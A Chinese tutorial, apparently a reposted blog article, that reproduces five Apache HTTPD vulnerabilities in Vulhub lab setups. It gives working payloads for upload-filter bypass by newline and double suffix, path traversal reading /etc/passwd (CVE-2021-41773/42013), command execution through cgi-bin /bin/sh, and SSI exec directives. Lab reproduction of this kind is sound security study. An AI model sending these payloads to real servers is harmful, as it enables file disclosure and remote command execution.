中间件安全—Apache常见漏洞

news2024/9/21 22:58:24

中间件安全—Apache常见漏洞

  • 1.Apache常见漏洞
    • 1.1.Apache介绍
    • 1.2.Apache HTTPD 换行解析漏洞(CVE-2017-15715)
      • 1.2.1.漏洞介绍
      • 1.2.2.漏洞环境
        • 1.2.2.1.运行漏洞环境
        • 1.2.2.2.访问漏洞环境
      • 1.2.3.漏洞复现
        • 1.2.3.1.拦截
        • 1.2.3.2.添加换行
        • 1.2.3.3.访问文件
    • 1.3.Apache多后缀解析漏洞(apache_parsing_vulnerability)
      • 1.3.1.漏洞介绍
      • 1.3.2.漏洞环境
        • 1.3.2.1.运行漏洞环境
        • 1.3.2.2.访问漏洞环境
      • 1.3.3.漏洞复现
        • 1.3.3.1.拦截
        • 1.3.3.2.添加后缀
        • 1.3.3.3.访问文件
    • 1.4.Apache HTTP 路径穿越漏洞(CVE-2021-41773)
      • 1.4.1.漏洞介绍
      • 1.4.2.漏洞环境
        • 1.4.2.1.运行漏洞环境
        • 1.4.2.2.访问漏洞环境
      • 1.4.3.漏洞复现
        • 1.4.3.1.抓包
        • 1.4.3.2.读取任意文件
        • 1.4.3.3.执行任意命令
    • 1.5.Apache HTTP 路径穿越漏洞(CVE-2021-42013)
      • 1.5.1.漏洞介绍
      • 1.5.2.漏洞环境
        • 1.5.2.1.运行漏洞环境
        • 1.5.2.2.访问漏洞环境
      • 1.5.3.漏洞复现
        • 1.5.3.1.抓包
        • 1.5.3.2.读取任意文件
    • 1.6.Apache SSI 远程命令执行漏洞
      • 1.6.1.漏洞介绍
      • 1.6.2.漏洞环境
        • 1.6.2.1.运行漏洞环境
        • 1.6.2.2.访问漏洞环境
      • 1.6.3.漏洞复现
        • 1.6.3.1.编辑文件
        • 1.6.3.2.上传文件
        • 1.6.3.3.访问文件

1.Apache常见漏洞

1.1.Apache介绍

  简单介绍一下apache是什么,Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将python等解释器编译到服务器中。

1.2.Apache HTTPD 换行解析漏洞(CVE-2017-15715)

1.2.1.漏洞介绍

  Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

1.2.2.漏洞环境

  这里采用Vulhub一键搭建漏洞测试靶场,来进行漏洞复现。

1.2.2.1.运行漏洞环境

docker-compose build
docker-compose up -d

在这里插入图片描述

1.2.2.2.访问漏洞环境

http://your-ip:8080

在这里插入图片描述

1.2.3.漏洞复现

1.2.3.1.拦截

  正常上传php文件就会出现上传失败。
在这里插入图片描述

1.2.3.2.添加换行

  在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截,这里只需要选中0d,右击选择insert byte…后,输入0a即可插入至里面,然后发送。
在这里插入图片描述

1.2.3.3.访问文件

  这里访问地址即可。

链接:http:ip地址:端口/文件名.php%0a

在这里插入图片描述

1.3.Apache多后缀解析漏洞(apache_parsing_vulnerability)

1.3.1.漏洞介绍

  apache httpd支持一个文件多个后缀,windows对于多后缀的识别是看最后一个“.”之后的后缀名。apache对于多后缀文件的识别是从后往前识别,最后一个后缀不能被识别时,会往前识别。

1.3.2.漏洞环境

1.3.2.1.运行漏洞环境

docker-compose up -d

在这里插入图片描述

1.3.2.2.访问漏洞环境

http://your-ip

在这里插入图片描述

1.3.3.漏洞复现

1.3.3.1.拦截

  由于设置了白名单,正常在上传php后缀文件后,会被拦截,无法正常进行上传。
在这里插入图片描述

1.3.3.2.添加后缀

  由于特性原因,我们可以在后面添加不认识的后缀,或者其它后缀均可。这里我添加.jpg,形成1.php.jpg文件。
在这里插入图片描述

1.3.3.3.访问文件

  通过返回的信息得到,我们是成功上传了我们的文件,并返回一个路径,我们在浏览器中访问一下文件,验证一下是否正常执行为php文件。

http://IP地址/uploadfiles/1.php.jpg

在这里插入图片描述

1.4.Apache HTTP 路径穿越漏洞(CVE-2021-41773)

1.4.1.漏洞介绍

  在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
  版本等于2.4.49
  穿越的目录允许被访问(默认情况下是不允许的)
  攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

1.4.2.漏洞环境

1.4.2.1.运行漏洞环境

docker-compose build
docker-compose up -d

在这里插入图片描述

1.4.2.2.访问漏洞环境

在这里插入代码片

http://your-ip:8080
在这里插入图片描述

1.4.3.漏洞复现

1.4.3.1.抓包

  首先这里先抓原始的包。
在这里插入图片描述

1.4.3.2.读取任意文件

  在GET处插入POC,用来读取任意文件,但是需要注意/icons必须是一个存在且可访问的目录。

POC:/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述

1.4.3.3.执行任意命令

  在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令。

POC:/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh   最下面添加echo;id

在这里插入图片描述

1.5.Apache HTTP 路径穿越漏洞(CVE-2021-42013)

1.5.1.漏洞介绍

  Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
  攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
  这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。

1.5.2.漏洞环境

1.5.2.1.运行漏洞环境

docker-compose build
docker-compose up -d

在这里插入图片描述

1.5.2.2.访问漏洞环境

http://your-ip:8080

在这里插入图片描述

1.5.3.漏洞复现

  这里总体来说和CVE-2021-41773步骤都是一样的,只是将.%2e替换为.%%32%65,若使用原先的payload无法使用,那么就说明2.4.50进行了修复。

1.5.3.1.抓包

  首先这里先抓原始的包。
在这里插入图片描述

1.5.3.2.读取任意文件

  在GET处插入POC,用来读取任意文件,但是需要注意/icons必须是一个存在且可访问的目录。

POC:/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

在这里插入图片描述

1.6.Apache SSI 远程命令执行漏洞

1.6.1.漏洞介绍

  在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。

1.6.2.漏洞环境

1.6.2.1.运行漏洞环境

docker-compose up -d

在这里插入图片描述

1.6.2.2.访问漏洞环境

http://your-ip:8080

在这里插入图片描述

1.6.3.漏洞复现

1.6.3.1.编辑文件

  正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件,然后在文件中写入命令。

命令:<!--#exec cmd="ls" -->

1.6.3.2.上传文件

  这里我们将文件进行上传,可以看到是成功上传了。
在这里插入图片描述

1.6.3.3.访问文件

  可以看到成功显示目录下存在的文件。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/359533.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[机器学习]卷积神经网络DLC

一、基本结构 CNN的大概模式可以总结为&#xff1a;卷积层池化层全连接层激活函数 而一些比较大型的网络如VGG一般将CNN作为构成单元进行堆叠&#xff0c;而内部卷积核和池化也可以堆叠多个。各个部分的功能如下&#xff1a; 卷积&#xff1a;特征提取 池化&#xff1a;降维和防…

硬件设备 之一 详解 JTAG、SWD 接口、软 / 硬件断点、OpenOCD、J-link

JTAG 和 SWD 在嵌入式开发中可以说是随处可见&#xff0c;他们通常被用来配合 J-Link 、ULINK、ST-LINK 等仿真器在线调试嵌入式程序。此外&#xff0c;还有飞思卡尔芯片中的 Background debug mode&#xff08;BDM&#xff09; 接口&#xff0c;Atmel 芯片中的 debugWIRE &…

文本生成图像应用指南【Stable Diffusion】

Stable Diffusion 是一种文本到图像的潜在扩散模型&#xff0c;由来自 CompVis、Stability AI 和 LAION 的研究人员和工程师创建。 它使用来自 LAION-5B 数据库子集的 512x512 图像进行训练。 稳定扩散&#xff0c;生成人脸&#xff0c;也可以在自己的机器上运行&#xff0c;如…

车载技术开发—{Android CarFrameWork}

Android Automotive平台 Android Automotive是通过Android的通用框架&#xff0c;语言和API来实现的一个全栈&#xff0c;开源&#xff0c;高度可定制的平台。 Android Automotive与整个Android生态系统的关系 Android Automotive是Android的一部分。 Android Automotive不是…

pbootcms被黑木马问题(3)

昨天经过同事告知发现了很早之间做的几个企业官方都中木马了,然后看了一下木马情况,跟之间的两次都有所不同,这里记录一下新的木马的清理过程,有遇到的朋友可以借鉴一下。&#xff08;之前有做过一些防止批量扫站的措施&#xff0c;因为嫌麻烦就没有给这些网站上进行修改&#…

【Spark分布式内存计算框架——Spark SQL】13. 自定义UDF函数

第七章 自定义UDF函数 无论Hive还是SparkSQL分析处理数据时&#xff0c;往往需要使用函数&#xff0c;SparkSQL模块本身自带很多实现公共功能的函数&#xff0c;在org.apache.spark.sql.functions中。SparkSQL与Hive一样支持定义函数&#xff1a;UDF和UDAF&#xff0c;尤其是U…

黑格尔的实践观探究

&#xff08;江苏大学马克思主义学院 212000&#xff09;一、引言人的独特性在于实践活动&#xff0c;以及由实践活动带来的人类社会的不断进化与发展。人类的实践史体现了人的全部本质。但是&#xff0c;人类从理论的高度反思自己的实践活动&#xff0c;尤其是在哲学的层面上进…

【基础算法】之 冒泡排序优化

冒泡排序思想基本思想: 冒泡排序&#xff0c;类似于水中冒泡&#xff0c;较大的数沉下去&#xff0c;较小的数慢慢冒起来&#xff08;假设从小到大&#xff09;&#xff0c;即为较大的数慢慢往后排&#xff0c;较小的数慢慢往前排。直观表达&#xff0c;每一趟遍历&#xff0c;…

大数据框架之Hadoop:MapReduce(三)MapReduce框架原理——shuffle机制

3.3.1Shuffle机制 Map方法之后&#xff0c;Reduce方法之前的数据处理过程称之为Shuffle。 3.3.2Partition分区 1、问题引出 要求将统计结果按照条件输出到不同文件中&#xff08;分区&#xff09;。比如&#xff1a;将统计结果按照手机归属地不同省份输出到不同文件中&#…

2023春季露营投影怎么选?轻薄投影极米Z6X Pro值得推荐

近年来&#xff0c;露营经济在多重因素的共同助推下快速发展&#xff0c;精致露营的攻略开始占据小红书、微博、朋友圈等各类社交平台&#xff0c;吸引着更多用户种草并加入到露营大军中&#xff0c;而露营经济的强势“破圈”给家用智能投影带来了更多的发展契机。凭借着小巧的…

探访上汽通用武汉奥特能超级工厂

上汽通用汽车在电动化和智能网联化新技术领域投入了700亿大洋&#xff0c;武汉奥特能超级工厂就是其中一个重点项目。这个工厂已经投产&#xff0c;将成为上汽通用汽车的新能源生产基地&#xff0c;加速奥特能平台车型的推出。 最近别克推出了Electra E5&#xff0c;它是别克第…

新品BCM6755A1KFEBG/MT7921LE/MT7921AU WiFi芯片

博通在WiFi市场具有相当的实力。在WiFi6上有下面这几个解决方案&#xff1a;型号&#xff1a;BCM6755 BCM6755A1KFEBG类型&#xff1a;四核1.5GHz CPU封装&#xff1a;BGA批次&#xff1a;新BCM6755和BCM6750还是A7架构&#xff0c;更多的用在中低端型号上。BCM6755和BCM6750 C…

Spark 广播变量累加器

广播变量 场景描述&#xff1a;一份数据存在Driver中&#xff0c;但是每个Executor都需要一份。 常规模式下&#xff0c;Driver会给每个分区都发送一份数据。如果在Executor中存在多个分区的情况&#xff0c;那么一个Executor会获得多份数据。 Executor是进程&#xff0c;task…

微信小程序阻止页面返回(包滑动、自动返回键)

这个场景还是挺有意思的&#xff0c;比如某多多&#xff0c;只要你点左上角的返回 好家伙&#xff0c;满满又 花不了 的优惠券就来了&#xff0c;让你拥有一种消费最划算的感觉。 如果你的场景比较简单&#xff0c;只是对左上角的返回进行监听&#xff0c;只需要关闭自带的导航…

16_FreeRTOS队列集

目录 队列集 队列集相关API函数介绍 队列集使用流程 实验源码 队列集 一个队列只允许任务间传递的消息为同一种数据类型,如果需要在任务间传递不同数据类型的消息时,那么就可以使用队列集! 作用:用于对多个队列或信号量进行“监听”其中不管哪一个消息到来&#xff0c;都…

JVM学习笔记四:运行时数据区之虚拟机栈

目录 概述 StackOverflowError测试案例 栈运行原理 栈帧的内部结构 改变栈帧大小的StackOverflowError测试案例 局部变量表 局部变量槽 操作数栈 动态链接 静态链接 动态链接 早期绑定 晚期绑定 方法返回地址 概述 与程序计数器一样&#xff0c;Java虚拟机栈也是…

4665: 求前n项和

描述给定序列&#xff1a;求前n项之和。输入输入数据有多组&#xff0c;第一行为数据的组数t&#xff08;1<t<15&#xff09;。每组数据有一行&#xff0c;每行为一个正整数n&#xff08;n<1000000&#xff09;。输出每组输出前n项的和&#xff0c;保留4位小数。样例输…

【编程入门】应用市场(安卓版)

背景 前面已输出多个系列&#xff1a; 《十余种编程语言做个计算器》 《十余种编程语言写2048小游戏》 《17种编程语言10种排序算法》 《十余种编程语言写博客系统》 《十余种编程语言写云笔记》 《N种编程语言做个记事本》 目标 为编程初学者打造入门学习项目&#xff0c;使…

Jmeter常用断言之BeanShell断言详解

BeanShell断言可以使用beanshell脚本来执行断言检查&#xff0c;可以用于更复杂的个性化需求&#xff0c;使用更灵活&#xff0c;功能更强大&#xff0c;但是要能够熟练使用beanshell脚本 在这里除了可以使用beanshell的内置变量外&#xff0c;主要通过 Failure 和 FailureMess…

es 7.8.0 linux 集群

1. 下载es linux版本的数据包 地址: https://www.elastic.co/cn/downloads/past-releases#elasticsearch 解压: 解压 tar -xzvf xxx 2. 我是在一个服务器上测试的,实际上是不同的服务器 所以复制了三份,模拟多节点 进去之后主要是修改elasticsearch.yml 内容如下 节点一…